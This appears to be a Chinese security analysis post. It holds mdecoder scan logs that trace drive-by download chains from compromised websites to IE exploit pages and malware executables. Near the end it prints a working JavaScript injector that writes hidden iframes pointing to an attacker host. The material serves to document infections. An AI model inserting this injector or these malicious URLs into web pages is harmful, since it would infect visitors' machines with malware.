用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; QQDownload 691; .NET CLR 2.0.50727)

Log generated by networkedition use mdecoder 0.67
[root]http://www.ivook.com/(万客印象电子杂志)
    [script]http://dyj.UglyAs.com/b.js?google=2x072
[script]http://gnt.ns02.us/55/atay.htm
    [exp]http://gnt.ns02.us/55/6.htm(Exploit.Ie0dayCVE0806.a)
        [script]http://gnt.ns02.us/55/ie.jpg
        [script]http://gnt.ns02.us/55/iee.jpg
http://gnt.ns02.us/o/vn.exe
    [iframe]http://gnt.ns02.us/55/medi.htm
        [flash]http://gnt.ns02.us/55/toto.mid
    [iframe]http://gnt.ns02.us/55/7.htm
        [script]http://gnt.ns02.us/55/ie.jpg
        [script]http://gnt.ns02.us/55/iee.jpg
        [script]http://gnt.ns02.us/55/ieee.jpg

Log generated by networkedition use mdecoder 0.67
[root]http://www.slgri.com.cn/
    [script]http://t.crabdance.com:10086/images/1.gif
        [iframe]http://killer.ignorelist.com:10/images/2.htm
[virus]http://count123.jk136.com:123/js/js/js.js
        [iframe]http://killer.ignorelist.com:10/images/1.htm
        [iframe]http://killer.ignorelist.com:10/images/tj.htm
    [script]http://t.crabdance.com:10086/images/1.gif
    [script]http://t.crabdance.com:10086/images/1.gif
    [script]http://t.crabdance.com:10086/images/1.gif
    [script]http://www.slgri.com.cn/images/mt_dropdownC.js
    [script]http://www.slgri.com.cn/images/mt_dropdown_initialize.js
    [script]http://www.slgri.com.cn/js/jquery-1.3.2.min.js
    [flash]http://www.slgri.com.cn/images/f.swf
    [script]http://www.slgri.com.cn/js/jquery.min.js
    [script]http://www.slgri.com.cn/js/jquery.hoverIntent.minified.js
    [script]http://t.crabdance.com:10086/images/1.gif
    [flash]http://www.slgri.com.cn/cu3er.swf
    [flash]http://www.slgri.com.cn/bcastr.swf?xml=<data
    [script]http://t.crabdance.com:10086/images/1.gif
    [script]http://t.crabdance.com:10086/images/1.gif

Log generated by networkedition use mdecoder 0.67
[root]http://www.hapigo.cn/
    [flash]http://www.hapigo.cn/flash/bcastr3.swf
    [script]http://wkb.wecoo.com/data/cc/0/8729-2.js
    [script]http://bbs2.chickenkiller.com:10086/images/1.gif
        [iframe]http://killer.ignorelist.com:10/images/2.htm
[virus]http://count123.jk136.com:123/js/js/js.js
        [iframe]http://killer.ignorelist.com:10/images/1.htm
        [iframe]http://killer.ignorelist.com:10/images/tj.htm

Log generated by networkedition use mdecoder 0.67
[root]http://www.qqzww.net/configs/article/yy/bottom.html
    [iframe]http://www.digielec.com.cn/ewq.htm
        [iframe]http://h0d50t50ui.3322.org:8832/Zr04/index.html
            [iframe]http://h0d50t50ui.3322.org:8832/Zr04/1.htm
                [script]http://h0d50t50ui.3322.org:8832/Zr04/1.js
                [iframe]http://do.qxoz.info:8832/zr04/3.htm
                [iframe]http://h0d50t50ui.3322.org:8832/Zr04/2.htm
                    [flash]http://h0d50t50ui.3322.org:8832/Zr04/nb.swf
                [flash]http://h0d50t50ui.3322.org:8832/Zr04/nbwm.swf
            [exp]http://h0d50t50ui.3322.org:8832/Zr04/i6.htm(Exploit.Ie0dayCVE0806.a)
                [script]http://h0d50t50ui.3322.org:8832/Zr04/i1.js
                [script]http://h0d50t50ui.3322.org:8832/Zr04/i2.js
                [script]http://h0d50t50ui.3322.org:8832/Zr04/i3.js
                [script]http://h0d50t50ui.3322.org:8832/Zr04/i4.js
                [script]http://h0d50t50ui.3322.org:8832/Zr04/i5.js
                [virus]http://do.qxoz.info:8832/xx/zr04.css
    [script]http://t.ads001.com/show_ads.js
        [iframe]http://t.ads001.com/,

Log generated by networkedition use mdecoder 0.67
[root]http://210.31.191.75/(内蒙古师范大学外国语学院欢迎您的光临!)
    [script]http://210.31.191.75/mm_menu.js
    [flash]http://210.31.191.75/swf/zimu.swf
    [script]http://210.31.191.75/alocount/count/count.asp?numstyle=3&numsize=1&numfont=3&countcolor=FF0000
    [iframe]http://interlib.sdust.edu.cn:7171/interlib/tmp/Xp_sp2.htm
        [script]http://interlib.sdust.edu.cn:7171/interlib/tmp/2.js
[virus]http://interlib.sdust.edu.cn:7171/interlib/tmp/9.exe
    [iframe]http://interlib.sdust.edu.cn:7171/interlib/tmp/Xp_sp3.htm
        [script]http://interlib.sdust.edu.cn:7171/interlib/tmp/3.js

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=sb1;expires="+ Then.toGMTString()
document.write("<div style='display:none'>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/2.htm></iframe>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/1.htm></iframe>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/tj.htm></iframe>")
document.write("</div>")}
}Get();

今天发现淘宝网也被挂马

http://www.google.com.tw/safebrowsing/diagnostic?site=killer.ignorelist.com